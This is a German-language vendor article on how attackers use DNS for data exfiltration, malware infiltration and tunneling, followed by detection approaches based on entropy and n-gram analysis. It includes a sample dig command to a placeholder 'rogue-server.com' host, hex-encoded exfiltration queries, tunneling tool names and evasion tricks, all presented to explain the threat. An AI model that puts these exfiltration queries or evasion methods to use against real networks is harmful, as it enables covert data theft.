DNS – das unterschätzte Datenleck

Rainer Singer, Systems Engineering Manager Zentraleuropa, Infoblox

DNS-basierte Data Exfiltration, Data Infiltration und Tunneling unter der Lupe + Alles sicher, oder was? Viele Unternehmen haben viel in eine umfassende Sicherheits-Architektur investiert. Aber natürlich gibt es Schwachstellen. Eine der größten offenen Flanken: das Domain Name System (kurz: DNS). Es ist so etwas wie ein Dinosaurier unter den Netzwerkkomponenten. Es erfüllt im Grunde immer noch immer die Spezifikationen des RFC 883 aus dem Jahre 1983. Die Hauptaufgabe des DNS besteht darin, Anfragen zur Namensauflösung (Web und IP-Adressen) zu beantworten. Das funktioniert seit über 30 Jahren immer noch weitgehend gleich – mit der Folge, dass das DNS gegen zunehmende moderne Bedrohungen nur schlecht geschützt ist. Hacker wissen das zu schätzen, was sich in Cyberattacken wie WannaCry & Co. zeigt.

Der Spezialist für Netzwerksteuerung und DNS Sicherheit, Infoblox, wollte es genau wissen: eine Studie zu DNS Security zeigt, wie wenig sich Unternehmen bewusst sind, dass Daten abfließen – obwohl das sehr oft der Fall ist. 46 Prozent der befragten Unternehmen waren Opfer von DNS Exfiltration. Bei bereits 45 Prozent kam es zu DNS Tunneling. Data Tunneling ist eine raffinierte Methode zu Data Exfiltration, da hier der Datenverkehr mit IP-Protokoll häufig über den DNS Port 53 läuft, welcher meist nicht einmal von Next-Generation-Firewalls im Detail geprüft wird. Ein DNS-Tunnel kann von einem Täter innerhalb des Netzwerkes aufgesetzt werden. Eine zweite Möglichkeit ist die Einbettung von verschlüsselten Dateien in die Daten der DNS-Anfragen. Diese werden dann am anderen Ende wieder entschlüsselt und zusammengesetzt. 

Abwehr in vielen Fällen machtlos

Next-Generation-Firewall, IDSs und IPSs – in fast allen Unternehmen finden sich Abwehrmechanismen und Sicherheits-Technologien. Und doch werden Daten trotz der sorgfältig aufgesetzten Verteidigungstools geklaut. Nur wie?

Im Domain Name System gibt es zwei Arten von Botschaften – die Anfrage und die Antwort. Beide bestehen aus dem immer gleichen Format: Header sowie Frage, Antwort, Autorisierung und weitere Informationen. Viele Objekte und Parameter des DNS sind Größenbeschränkungen unterworfen:

 

Hacker haben damit grundsätzlich 512 Octets zu Verfügung, um Daten für ihre Zwecke innerhalb von UDP Botschaften zu verstecken. 

Data Exfiltration

Die Hacker gehen dabei sehr raffiniert vor: erst splitten sie die in unterschiedlich große Blöcke, dann werden diese Value Strings im Namen oder der UDP Botschaft versteckt. Der Value String wird – getarnt als Anfrage – an den DNS Server der Hacker geschickt, der diese Anfrage aufzeichnet und die gestohlenen Daten loggt. Auf dem Name Server der Hacker im Web läuft eine Basis-Installation von BIND, dem Berkeley Internet Domain Server. Er kann sich hinter einem Kabelmodem verbergen – solange nur Port 53 verwendet wird.

Dazu das einfache Beispiel „my.name“: Ist die IP-Adresse des Schad-Servers 192.168.1.25, so kann ein infizierter Client oder der Client eines Mitarbeiters, der Daten stehlen will, den Hacker-Server mit folgendem String ansprechen _>dig @192.168.1.25 my.name.rogue-server.com. Dabei wird im Hacker-Server diese Botschaft geloggt: info client 192.168.1.202#55648 (my.name.rogue-server.com): query: my.name.rogue- server.com IN A + (192.168.1.25)

So lassen sich Daten einfach nach außen übertragen. Hacker gehen – anders als im vereinfachten Beispiel – natürlich noch smarter vor, indem sie die eigentliche Datenübertragung verbergen. Dies gelingt dank Datenverschlüsselungs-Algorithmen, die den Inhalt in Blöcken in beliebiger Größe komprimieren. So könnte eine echte Hacker-Anfrage aussehen:

0a55504b01021503140008000800.rogue-server.com

104b68426c86ad7391000000de000000.rogue-server.com

1c000c0000000000000000.rogue-server.com

40a481764a31005f5f4d.rogue-server.com

41434f53582f426561.rogue-server.com

Das binäre Beispiel wurde für die Übertragung in HEX konvertiert und wird beim Empfänger wieder zusammengesetzt. Cyberkriminelle nutzen darüber hinaus weitere smarte Methoden – u. a. ID Tagging oder Sequence Numbering –, sobald Transaktionen, wie Kreditkartenkäufe, getaggt werden, da hier die Reihenfolge der Events die Bits zu Informationen wie Namen, Kartennummern und Kartenverifikationszahlen zuordenbar macht.

Man sollte meinen, es sei leicht zu entdecken, wenn eine vierstellige Anzahl von DNS-Anfragen über ein Netzwerk geschickt wird. Nur: Die Hacker wissen auch das zu tarnen – etwa durch Methoden wie Slow Drip, bei der die Anfragen bewusst so langsam gesendet werden, dass die Übertragungsraten nicht auffällig nach oben gehen und einen Alarm – z. B. von IDS/IPS – auslösen. Auch bei Source IP Spoofing können Anfragen nur schwer abgefangen werden. Bei dieser Methode wird die Quell-IP in der Anfrage wiederholt, damit es so aussieht, als käme die Anfrage aus vielen verschiedenen Quellen. 

Data Infiltration

Doch die Gefahr liegt nicht nur im möglichen Datenklau. Hacker können das DNS auch dazu nutzen, Daten, wie beispielsweise Malware in das Netzwerk einzuschmuggeln. Über ein codiertes Programm – etwa als HEX – laden sie einen TXT-Datensatz als Vorbereitung für den Transport auf ihren Server. Es gibt dann verschiedene Möglichkeiten, den Schadcode durch Firewall, IDS und Content-Filter zu schleusen. 

Bei DNS Plain Text oder DNS Encoded Text wird eine – nicht-codierte oder codierte – Textbotschaft über DNS in Echtzeit eingeschleust. Dabei werden Einzel- und sehr kurze DNS-Anfragen gesendet, um Daten eines externen Servers abzurufen. Drei verschiedene Datentypen (Windows-Dateien, Shell-Skripts und Grafiken) werden bei DNS Static Files an die Workstation des Users geschickt. Dabei werden  DNS-Abfragen genutzt, um die Daten von einem Remote Server abzurufen und wieder zusammenzusetzen.  So wird ein Vektor emuliert, der ein Einschleusen des Schadcodes in ein Netzwerk mit Protokoll- und Nachrichtentypen, die nicht durch die herkömmlichen Sicherheitsmaßnahmen erkannt werden, ermöglicht. Der DNSMessenger verwendet DNS-Anfragen, um böswillige PowerShell-Befehle auf infizierten Rechnern auszuführen. Dadurch wird es deutlich schwieriger den Remote-Zugriff eines Trojaners auf ein bestimmtes System zu erkennen.

DNS Tunneling

Der Proxy blockiert eine Seite? Kein Problem, denn über DNS Tunneling greifen Anwender auch auf eine blockierte Webseite zu. Doch leider sind diese DNS Tunnel auch trotz limitierter Bandbreite für Hacker spannend. Damit es möglich ist, über DNS zu tunneln, muss man die Kontrolle über einen externen DNS Server haben und dort Name Server (NS)- Records und A-Records ergänzen. Durch den NS-Eintrag wird eine Subdomain der eigenen Domäne auf einen anderen Name Server umgeleitet. Im A-Record befindet sich die IP-Adresse, die den Domain-Namen abbildet. Hacker haben eigene Tools (Iodine, OzymanDNS, DNS2TCP, TCP-over-DNS, SplitBrain etc.) und sogar kommerzielle Dienste, um Tunnel-Server aufzusetzen, einen DNS Tunneling Client auf dem Zielrechner zu installieren und WLan-Sicherheitskontrollen zu umgehen. Steht die Verbindung zwischen den beiden, können Hacker den SOCKS Proxy für die Verbindung nutzen. Diese Methode ist aufgrund limitierter Bandbreite zwar recht langsam, aber für ein Botnet ist ein DNS Tunnel ein gut versteckter und schwer zu entdeckender Kanal für fragmentierte Daten.

Wie schützt man sich gegen DNS-basierten Datendiebstahl?

Viele Unternehmen verfügen bereits über umfassende Schutzmechanismen für ihre Systeme und Daten. Und doch sind sich wenige bewusst, dass ihr DNS eine offene Flanke ist. Eine Schutzmöglichkeit: mit Streaming-Analytics kann man DNS-Anfragen in Echtzeit screenen, ob hier Daten exfiltriert werden oder ein Tunneling Toolkit eingesetzt wird. Versucht der DNS-Server, eine Verbindung zu einer verdächtigen Destination aufzubauen, wird die Kommunikation automatisch blockiert. Die Basis dafür: Threat Intelligence Data Feeds mit schwarzen Listen von gängigen Malware-Hosts (Namen oder IP-Adresse) und Signaturen bekannter DNS Tunneling Toolkits. Hier fließen die Erkenntnisse verschiedener Experten, Hersteller und der Community zusammen – wobei ein eigenes Threat Intellicence Team durchaus ein Pluspunkt für jeden Hersteller ist. 

Es gibt bestimmte Messkriterien, die Value Strings verdächtig werden lassen - etwa Menge der Daten in einer Anfrage, viele Anfragen an eine bestimmte externe Domain oder einfach das Vorhandensein von verschlüsselten/codierten Daten. Oder aber das Maß der Zufälligkeit in den Daten. Denn: normale Anfragen an das DNS sind in der Regel kaum zufällig – verschlüsselte Value Strings jedoch schon. Die Auswertung ergibt einen Score, der den Grad der Bedrohung eines Datenverkehrs misst. Auch die Existenz von Wörtern irgendeiner Sprache (N-Gram-Analyse) wird im Score berücksichtigt. Eine Analytics Engine mit Machine Learning screent die host.subdomain und TXT-Anteile in DNS-Anfragen und ermittelt mit Hilfe von lexikalischer Analyse, zeitlichen Serien, Entropie und N-Gram die Präsenz dieser Daten in den Anfragen. Bis der Mechanismus jedoch lernt, bestimmte Schemata zu erkennen, müssen die Datenpakete in Serie analysiert werden.

Die Untersuchung am Point of Entry hilft, Bedrohungen schneller zu erkennen ohne dafür zusätzliche Infrastrukturkomponenten anschaffen zu müssen, denn die Schutzmechanismen sitzen entweder direkt in der DNS-Infrastruktur oder docken als Cloud-Lösung dort an. Dies entlastet die Firewall, die diese Deep Packet Analyse des DNS nicht übernehmen muss. Erkennt das Sicherheitstool darüber hinaus noch, welche IP- und MAC-Adresse, welcher Anwender oder welcher Gerätetyp für den Exfiltrationsversuch verantwortlich ist, können Sicherheitsbeauftragte schnell und zielgenau eingreifen. Voraussetzung dafür: die Tools müssen miteinander kommunizieren, Bedrohungen müssen nicht nur erkannt, sondern an mehreren Punkten in der Sicherheitsarchitektur geblockt werden. Moderne DNS Server Lösungen bieten Steaming-Analytics und vielfältige Integrationen Out-of-the-Box an. Eine Kommunikation über das DNS muss verhindert, Daten oder Geräte in Quarantäne genommen, die Black Lists upgedatet werden. Und das alles, bevor wirklich Schaden entsteht. 

Autor: Rainer Singer

Diesen Artikel empfehlen